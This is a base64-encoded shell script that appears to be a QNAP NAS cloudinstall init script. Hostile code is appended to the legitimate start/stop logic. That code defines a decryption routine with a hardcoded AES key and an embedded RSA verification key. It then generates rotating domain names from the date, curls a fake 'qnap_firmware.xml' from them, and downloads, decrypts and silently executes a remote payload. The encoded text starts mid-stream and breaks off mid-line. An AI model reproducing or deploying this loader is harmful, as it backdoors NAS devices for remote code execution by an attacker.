W1kaXNrCkNMT1VEX0lOU1RBTExfQUdFTlRfRklMRV9QQVRIPSRDTE9VRF9JTlNUQUxMX1BBVEgvdHVubmVsX2FnZW50LnRhci5iejIKQ09VTlRFUj0xCkVSUk9SX0JBRF9SRVFVRVNUPTQwMAoKaWYgWyAiJGZyb21yY1MiID0gJ1RSVUUnIF07IHRoZW4KY2FzZSAiJDEiIGluCiAgc3RhcnQpCiAgICBTVEFSVF9USU1FPSQoZGF0ZSArIiVUIikKICAgIGVjaG8gLWUgInN0YXJ0OiRTVEFSVF9USU1FIiA+PiAvdG1wLy5jbG91ZGluc3RhbGwubG9nCiAgICB3aGlsZSBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsKICAgIGRvCiAgICAgICAgIyByZXBvcnQgZGV2aWNlIGluZm8gYW5kIGdldCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwIGRvd25sb2FkIHVybAogICAgICAgIERPV05MT0FEX1VSTD1gL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLXJgCiAgICAgICAgaWYgWyAhIC1kICIkQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgIGlmIFsgIiROQVNfQVJDSCIgPT0gIkFSTV82NCIgXTsgdGhlbgogICAgICAgICAgICAgICAgIyBjcmVhdGUgcmFtZGlzayBhbmQgY3JlYXRlIGEgNjRtYiBmaWxlCiAgICAgICAgICAgICAgICAvYmluL21rZGlyIC1wICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgKICAgICAgICAgICAgICAgIC9iaW4vZGQgaWY9L2Rldi96ZXJvIG9mPSRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZSBicz0xTSBjb3VudD02NAogICAgICAgICAgICAgICAgIyBjcmVhdGUgYmxvY2sgc2l6ZSAxSyBmaWxlc3lzdGVtCiAgICAgICAgICAgICAgICAvc2Jpbi9ta2UyZnMgLWIgMTAyNCAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgvaW1hZ2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgZXhwb3J0IFVTRURfTE9PUF9ERVZJQ0U9YC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1mICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZWAKICAgICAgICAgICAgICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiVVNFRF9MT09QX0RFVklDRSIgIiRVU0VEX0xPT1BfREVWSUNFIgogICAgICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICAgICAjIG1vdW50IHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAkVVNFRF9MT09QX0RFVklDRSAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIGFuZCBtb3VudCB0bXBmcyBmb2xkZXIKICAgICAgICAgICAgICAgIC9iaW4vbWtkaXIgLXAgJENMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgICAgICBjZCAkQ0xPVURfSU5TVEFMTF9QQVRICgogICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gaHR0cHMqIF1dOyB0aGVuCiAgICAgICAgICAgIFJFUE9SVF9TVUNDRVNTX1RJTUU9JChkYXRlICsiJVQiKQogICAgICAgIGVsc2UKICAgICAgICAgICAgUkVQT1JUX0ZBSUxfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgIGVjaG8gLWUgIiByZXBvcnRfZmFpbDokUkVQT1JUX0ZBSUxfVElNRVxuIHJlc3BvbnNlOiRET1dOTE9BRF9VUkwiID4+IC90bXAvLmNsb3VkaW5zdGFsbC5sb2cKICAgICAgICAgICAgIyBzdG9wIHJldHJ5IHdoZW4gZ290IGJhZCByZXF1ZXN0CiAgICAgICAgICAgICMgcHJldmVudCBwdXQgYmFkIHJlcXVlc3QgYWxsIHRoZSB0aW1lCiAgICAgICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gKiRFUlJPUl9CQURfUkVRVUVTVCogXV07IHRoZW4KICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKCiAgICAgICAgIyBkb3dubGFvZCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwCiAgICAgICAgL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLW8gIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgLWQgIiRET1dOTE9BRF9VUkwiCgogICAgICAgIGlmIFsgLWYgIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgXTsgdGhlbgogICAgICAgICAgICBET1dOTE9BRF9GSU5JU0hfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgICMgdW56aXAgYW5kIGV4ZWN1dGUgY2xvdWRpbnN0YWxsYWdlbnQKICAgICAgICAgICAgL2Jpbi90YXIgLXhmICRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCAtQyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RhcnQgJj4gL2Rldi9udWxsCgogICAgICAgICAgICBVTlpJUF9USU1FPSQoZGF0ZSArIiVUIikKICAgICAgICBmaQoKICAgICAgICBpZiBbICEgLWQgIiROQVNfQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgICMgY3JlYXRlIGZvbGRlciBhbmQgY3JlYXRlIHN5bWJvbGljIGxpbmsKICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmh0bWwgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvaW5kZXguaHRtbAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmNnaSAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSC9jbG91ZGluc3RhbGwuY2dpCiAgICAgICAgICAgIC9iaW4vbG4gLXMgJENMT1VEX0lOU1RBTExfUEFUSC91aS9zdGF0aWMgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvc3RhdGljCiAgICAgICAgZmkKCiAgICAgICAgIyB3YWl0IGNvbm5lY3QKICAgICAgICBzbGVlcCA1CiAgICAgICAgQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVD1gL2Jpbi9wcyAtLWNvbHVtbnMgMjU2IHwgL2Jpbi9ncmVwICIkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxhZ2VudCIgfCAvYmluL2dyZXAgLXYgZ3JlcCB8IC9iaW4vYXdrICd7cHJpbnQgJDF9J2AKICAgICAgICBpZiBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsgdGhlbgogICAgICAgICAgICBTTEVFUF9USU1FPSQoKCAzMCAqICRDT1VOVEVSICkpCiAgICAgICAgICAgIGlmIFsgJFNMRUVQX1RJTUUgLWd0IDMwMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBTTEVFUF9USU1FPTMwMAogICAgICAgICAgICBmaQogICAgICAgICAgICAjIHdhaXQgbmV4dCByZXRyeQogICAgICAgICAgICBzbGVlcCAkU0xFRVBfVElNRQogICAgICAgIGZpCiAgICAgICAgQ09VTlRFUj0kKCggJENPVU5URVIgKiAyICkpCiAgICBkb25lCgogICAgRU5EX1RJTUU9JChkYXRlICsiJVQiKQogICAgZWNobyAtZSAicmVwb3J0X3N1Y2Nlc3M6JFJFUE9SVF9TVUNDRVNTX1RJTUVcbmRvd25sb2FkX2ZpbmlzaDokRE9XTkxPQURfRklOSVNIX1RJTUVcbnVuemlwX2ZpbmlzaDokVU5aSVBfVElNRVxuZW5kOiRFTkRfVElNRSIgPj4gL3RtcC8uY2xvdWRpbnN0YWxsLmxvZwogICAgIyBjYWxsIGZvciBhIG5ldyBwcm9jZXNzIGdyb3VwIGFuZCBmb3IgbGF0ZXIga2lsbAogICAgL2Jpbi9zZXRzaWQgJENMT1VEX0lOU1RBTExfUEFUSC9iaW4vY2xvdWRpbnN0YWxsX2FnZW50X2Rpc2Nvbm5lY3RfZGFlbW9uLnNoIHN0YXJ0ICY+IC9kZXYvbnVsbCAmCiAgICAvYmluL3NldHNpZCAkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxfYWdlbnRfZGFlbW9uLnNoICY+IC9kZXYvbnVsbCAmCgogICAgIyBzZXQgY2xvdWRpbnN0YWxsIHJlcG9ydCBzdGF0dXMKICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiUkVQT1JUX1NUQVRVUyIgInVuaW5pdCIKICAgICMgYWRkIGxpbmsgdG8gcmVwb3J0IG9mZmxpbmUKICAgIC9iaW4vbG4gLXNmIC9ldGMvaW5pdC5kL2Nsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZS5zaCAvZXRjL3JjSy5kL0s5OWNsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZQoKICAgICMgYnV6emVyCiAgICBIQVJEV0FSRV9UWVBFPSQodW5hbWUgLW0pCiAgICBpZiBbWyAiJEhBUkRXQVJFX1RZUEUiID09ICoieDg2IiogXV07CiAgICB0aGVuCiAgICAgIC9zYmluL2hhbF9hcHAgLS1zZV9idXp6ZXIgZW5jX2lkPTAsbW9kZT0xMDEKICAgIGVsaWYgW1sgIiRIQVJEV0FSRV9UWVBFIiA9PSAqImFybSIqIF1dOwogICAgdGhlbgogICAgICAvc2Jpbi9waWNfcmF3IDgxCiAgICBmaQogICAgOzsKCiAgc3RvcCkKICAgICMgZGlzY29ubmVjdCBjbG91ZGluc3RhbGwgYWdlbnQKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RvcCAmPiAvZGV2L251bGwKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9kaXNjb25uZWN0X2RhZW1vbi5zaCBzdG9wICY+IC9kZXYvbnVsbAogICAgZm9yIGkgaW4gIiR7Q0xPVURfSU5TVEFMTF9BR0VOVF9EQUVNT05fUElEX0xJU1RbQF19IgogICAgZG8KICAgICAgICAjIHVzZSBiYXNoIGtpbGwgaW5zdGVhZCAvYmluL2tpbGwgZm9yIGtpbGwgcHJvY2VzcyBncm91cAogICAgICAgICMgY2xvdWRpbnN0YWxsIGFnZW50IGRhZW1vbiBhbmQgaW5vdGlmeXdhaXQKICAgICAgICBraWxsIC05IC0tIC0kaSAmPi9kZXYvbnVsbAogICAgZG9uZQoKICAgICMgdW1vdW50CiAgICBpZiBbICIkTkFTX0FSQ0giID09ICJBUk1fNjQiIF07IHRoZW4KICAgICAgICAvYmluL3Vtb3VudCAtbCAkVVNFRF9MT09QX0RFVklDRQogICAgICAgIC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1kICRVU0VEX0xPT1BfREVWSUNFCiAgICBlbHNlCiAgICAgICAgL2Jpbi91bW91bnQgLWwgJENMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgICMgcmVtb3ZlIGFsbCBmaWxlcwogICAgaWYgWyAtZCAiJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgIGlmIFsgLWQgIiRDTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICBmaQogICAgaWYgWyAtZCAiJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRIIiBdOyB0aGVuCiAgICAgICAgL2Jpbi9ybSAtcmYgJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRICiAgICBmaQogICAgOzsKCiAgcmVzdGFydCkKICAgICQwIHN0b3AKICAgICQwIHN0YXJ0CiAgICA7OwoKICAqKQogICAgZWNobyAiVXNhZ2U6ICQwIHtzdGFydHxzdG9wfHJlc3RhcnR9IgogICAgZXhpdCAxCmVzYWMKZXhpdCAwCgoKc2V0X2VudigpCnsKCWRlYnVnPWAkQ01EX0dFVENGRyBRc3luYyBEZWJ1ZyAtdSAtZCBOVUxMYAoJaWYgWyAiJGRlYnVnIiAhPSAiTlVMTCIgXTsgdGhlbgoJCS9iaW4vdG91Y2ggJExPR19GSUxFCgllbHNlCgkJL2Jpbi9ybSAtZiAkTE9HX0ZJTEUKCWZpCn0KCnNldF9lbnYKCmRiZygpCnsKCWlmIFsgLWYgIiRMT0dfRklMRSIgXTsgdGhlbgoJCWVjaG8gIltgZGF0ZSAiKyVIOiVNOiVTImBdICRAICIgPj4gJExPR19GSUxFCglmaQp9CgpkYmcgIj4gJDAgJEAgKHBpZCAkJCkiCgpmaQoKZXhwb3J0IFBBVEg9IiR7UEFUSH06L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9iaW4vWDExOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbiIKCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcblxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVxuLy9JO3MvXCheXHxcblwpXFtbXlxuXVwrXF1cbi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9Cgp0ZXN0IC1kIC9ldGMvY29uZmlnICYmIGNvbmZkaXI9L2V0Yy9jb25maWcgfHwgeyB0ZXN0IC1kIC9tbnQvSERBX1JPT1QvLmNvbmZpZyAmJiBjb25mZGlyPS9tbnQvSERBX1JPT1QvLmNvbmZpZzsgfQoKYmRpcj0KdGVzdCAtZiAiJHtjb25mZGlyfS9zbWIuY29uZiIgJiYgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YGdldGNmZyAiJGkiIHBhdGggLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiYCAmJiB0ZXN0ICEgLXogIiRiZGlyIiAmJiBiZGlyPWBkaXJuYW1lICIkYmRpciJgICYmIHRlc3QgLWQgIiRiZGlyIiAmJiB0ZXN0d3JpdGVhYmxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgJiYgcm0gIiR7dGVzdHdyaXRlYWJsZX0iICYmIGJyZWFrOyBiZGlyPScnOyBkb25lCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgeyBjb21tYW5kIC12IHJlYWRsaW5rID4vZGV2L251bGwgMj4mMSB8fCBsbiAtc2YgL2Jpbi9idXN5Ym94IC91c3IvYmluL3JlYWRsaW5rOyBmb3IgaSBpbiBQdWJsaWMgRG93bmxvYWQgTXVsdGltZWRpYSBXZWIgUmVjb3JkaW5ncyBob21lczsgZG8gYmRpcj1gcmVhZGxpbmsgIi9zaGFyZS8ke2l9IiAyPi9kZXYvbnVsbGAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiBiZGlyPS9zaGFyZS8ke2JkaXIjIyovfSAmJiB0ZXN0IC1kICIkYmRpciIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBnZXRjZmcgU0hBUkVfREVGIGRlZlZvbE1QIC1mICIke2NvbmZkaXJ9L2RlZl9zaGFyZS5pbmZvImAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGJkaXI9YG1vdW50IHwgc2VkIC1uICJzLy4qXChcL3NoYXJlXC9bXiAvXVwrXCkgLiovXDEvZ3AiIHwgaGVhZCAtbiAxYAp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgZm9yIGkgaW4gQ0FDSEVERVYzX0RBVEEgQ0FDSEVERVYyX0RBVEEgQ0FDSEVERVYxX0RBVEEgTUQwX0RBVEE7IGRvIHRlc3QgLWQgIi9zaGFyZS8ke2l9IiAmJiBiZGlyPSIvc2hhcmUvJHtpfSIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgYmRpcj0vbW50L0hEQV9ST09UOyB9CmdyZXAgLUYgJycgPDxFT0YgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPSJncmVwIC1GIiB8fCB7IGNvbW1hbmQgLXYgZmdyZXAgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPWZncmVwIHx8IGZncmVwPWdyZXA7IH0KCkVPRgp0ZXN0ICIkZmdyZXAiIHx8IGZncmVwPWdyZXAKdGVzdCAiJFJBTkRPTSIgfHwgUkFORE9NPTE3NjUzCmdlbnJzdHIgKCkgCnsgCiAgICBsb2NhbCBzPTsKICAgIGxvY2FsIG1pbj0kezE6LTR9OwogICAgbG9jYWwgbWF4PSR7MjotMTJ9OwogICAgbG9jYWwga3NwYWNlPSIkezM6LWEtekEtWn0iCiAgICB0ciAtZGMgIiRrc3BhY2UiIDwgL2Rldi91cmFuZG9tIHwgeyAKICAgICAgICByZWFkIC1ybiAkKCgkUkFORE9NICUgKCAkbWF4IC0gJG1pbiArIDEgKSArICRtaW4gKSkgczsKICAgICAgICBlY2hvICIkcyIKICAgIH0KfQoKdmVyaWZ5ZmlsZSgpIHsKbG9jYWwgZmlsZT0iJDEiCmxvY2FsIHNpZz0iJHsyOi0kZmlsZV9zfSIKbG9jYWwgb3V0CnRlc3QgISAteiAiJGZpbGUiICYmIHRlc3QgLXMgIiRmaWxlIiB8fCByZXR1cm4gMQp0ZXN0ICEgLXogIiRzaWciICYmIHRlc3QgLXMgIiRzaWciIHx8IHJldHVybiAxCnRlc3QgLWYgIi5yc2FrZXkiIHx8IGVjaG8gIiR2ZXJpZnlrZXkiID4gIi5yc2FrZXkiCm91dD0kKG9wZW5zc2wgZGdzdCAtc2hhMSAtdmVyaWZ5ICIucnNha2V5IiAtc2lnbmF0dXJlICIkc2lnIiAiJGZpbGUiKSAmJiB0ZXN0ICIkb3V0IiA9ICJWZXJpZmllZCBPSyIgJiYgcmV0dXJuIDAKcmV0dXJuIDEKfQoKZGVjcnlwdGZpbGUoKSB7CmxvY2FsIGZpbGU9IiQxIgpsb2NhbCBvZmlsZT0iJHsyOi0ke2ZpbGV9fSIKbG9jYWwga2V5PSc3QzB2SzRTek1PMTV6QnhMRDdYQ2k1aGJqZ1AxWmprSicKb3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1rICIka2V5IiAtbWQgc2hhMSAtc2FsdCA8ICIkZmlsZSIgPiAiJHtmaWxlfV9kIiB8fCByZXR1cm4gJD8KdGVzdCAtZiAiJG9maWxlIiAmJiBybSAtZiAiJG9maWxlIgptdiAiJHtmaWxlfV9kIiAiJG9maWxlIiAmJiByZXR1cm4gMApyZXR1cm4gMQp9Cgp2ZXJpZnlrZXk9Jy0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tCk1JSUJvakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBWThBTUlJQmlnS0NBWUVBdC9FRFQ2U0I3NWF0ckhXN0Nwb2cKQ1hxckJNMkNWYkpvJzt2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInZzRyd3dTJyd6MUJwMWkxJwp2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInQjdCOVdkNTFubzMybHBScU9NKzlHT3IyVzE3eHdKOHBxcFFvdGV4ClJDNXFRU2lTLzdGUzQ4anNQS3NKbnJVaG5zSTFmUkxNNERxc0VGM1VPdWtadURPWVVobHRlRHVNcXFaQnowQUMKUTNZbkxqcmFUamNoTUYwWG1hQUFjV09rZzVNc3hBT0tUZXB1ZTRSL3RuclBBa0FHODZucTVMQTErd2E3b3BOVgpnUXp3RGg3WVhoQm5XejUyK2ViWjlUZXFEMzEvc2I1aG95VUtmMU5yNUhjS2trbE9idXoxT0dRSi8vcGtDYlRDCjJFblF3NnRDUFFoZ1NJQTh3SktrYXhXMGYvVUhQK1lCbVdhNFduK3VQckpKdUhTVk5FSnRBcDJ3bFgzVEhsdHoKMElHUFFFdXpvYWZPQWwzRUZqYXMzSGNUWDJIbEVmbnZBdFJMMmlMeEplYmExblorVTNnZVpPdXhMMU5oV2hOaApwamFMY0t3aGtSY2s3WTVocjFQejhwTERuWHN4NXcwUVV6NlhTOEhWZi9LSG5OWEh1ZkZFbjAxeTlZb1B1YXUxCkRObnBER2JxNjMyQnM4RVNkM3VlSGs5T1kvVVp4V2VOM1VkYnNlRnhLMzVYQWdNQkFBRT0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tJwoKRE9NQUlOX0VYVF9BPSdjZiB0ayBtbCBnYSBncScKRE9NQUlOX0VYVF9CPSdjb20gYml6IG9yZyBkZSByb2NrcyBteCBjbiB0b3AgbmwgbWVuIHdzIHNlIGluZm8geHl6IG5ldCB0b2RheSBydSBmaSBuYW1lIHRvIGluIGNvbS51YSB2ZyB2biBjZCcKCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnIgp0ZXN0IC1kICIke2JkaXJ9Ly5xcGtnLy5jb25maWciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCmNkICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mIC50bXAuKgoKZWNobyAiJHZlcmlmeWtleSIgPiAiLnJzYWtleSIKaT0wIG49MCBjPTAgZXJyb3Jjb3VudD0wCm91dGZpbGU9JChta3RlbXAgIi4vLnRtcC5YWFhYWFgiKSB8fCBvdXRmaWxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0kKG1rdGVtcCAiLy50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0nLi8udG1wLm91dCcKCmZvciBkb21haW5leHRzIGluICIkRE9NQUlOX0VYVF9BIiAiJERPTUFJTl9FWFRfQiI7IGRvCiAgICAgICAgZm9yIGV4dCBpbiAkZG9tYWluZXh0czsgZG8KICAgICAgICAgICAgICAgIGhvc3RuYW1lPSQoZWNobyAiJCgoICQoZGF0ZSArJXMpIC8gMTI5NjAwMCApKUliakdPRWdudUQke2V4dH0iIHwgb3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgfCBvcGVuc3NsIGJhc2U2NCB8IHNlZCAneS9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWi0rXC8vYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMvO3MvPS8vZycpCiAgICAgICAgICAgICAgICBob3N0bmFtZT0ke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19CiAgICAgICAgICAgICAgICBob3N0bmFtZXM9IiR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldfSIKICAgICAgICAgICAgICAgIGhvc3RuYW1lcz0iJGhvc3RuYW1lcyAke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV19ICRob3N0bmFtZSIKICAgICAgICAgICAgICAgIGZvciBob3N0IGluICRob3N0bmFtZXM7IGRvCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgLWYgIiRvdXRmaWxlIiAmJiBybSAtZiAiJG91dGZpbGUiCiAgICAgICAgICAgICAgICAgICAgICAgIHJlY2VudHVwZGF0ZT0nJwogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIkb3V0ZmlsZSIgImh0dHBzOi8vJHtob3N0fS4ke2V4dH0vcW5hcF9maXJtd2FyZS54bWw/dD0kKGRhdGUgKyVzKSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAtcyAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIGZzaXplPSQoKCAkKHdjIC1jIDwgIiRvdXRmaWxlIikgKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJGZzaXplIiAtZ3QgNDA5NiAmJiBybSAtZiAiJG91dGZpbGUiICYmIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHJzYW1zZz0kKG9wZW5zc2wgYmFzZTY0IC1pbiAiJG91dGZpbGUiIC1kIHwgb3BlbnNzbCByc2F1dGwgLXB1YmluIC1pbmtleSAiLnJzYWtleSIgLXZlcmlmeSkgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYW1zZyIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgcGF0aD0iJHtyc2Ftc2clfCp9IjsgcnNhZG9tYWluPSIke3BhdGglfCp9IjsgcGF0aD0iJHtwYXRoIyp8fSIKICAgICAgICAgICAgICAgICAgICAgICAgaGFzaD0iJHtyc2Ftc2cjIyp8fSI7IHRzPSIke2hhc2gjKl99IjsgaGFzaD0iJHtoYXNoJV8qfSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYWRvbWFpbiIgPSAiJHtob3N0fS4ke2V4dH0iIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVub3c9JChkYXRlICslcykKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHRzIiAtZ3QgMCAmJiB7IHRlc3QgIiR0cyIgLWd0ICIkdGltZW5vdyIgfHwgdGVzdCAkKCggJHRpbWVub3cgLSAkdHMgKSkgLWx0IDE3MjgwMDsgfSAmJiByZWNlbnR1cGRhdGU9MQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwMCAtayAtbyAiJG91dGZpbGUiICJodHRwczovLyR7aG9zdH0uJHtleHR9LyR7cGF0aH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVoYXNoPSQob3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgIiRvdXRmaWxlIiB8IG9wZW5zc2wgYmFzZTY0KSB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0ICIkZmlsZWhhc2giID0gIiRoYXNoIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIke291dGZpbGV9X3MiICJodHRwczovLyR7aG9zdH0uJHtleHR9L3MvJHtwYXRofSIKICAgICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5ZmlsZSAiJG91dGZpbGUiICIke291dGZpbGV9X3MiICYmIGRlY3J5cHRmaWxlICIkb3V0ZmlsZSIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgbXYgIiR7b3V0ZmlsZX1fcyIgIiR7dHN9X3YiCiAgICAgICAgICAgICAgICAgICAgICAgIGNobW9kIDc1NSAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgICggKCBleGVjID4vZGV2L251bGwgMj4vZGV2L251bGwgPC9kZXYvbnVsbDsgIiRvdXRmaWxlIiA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMSAmICkgJiApCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyZWNl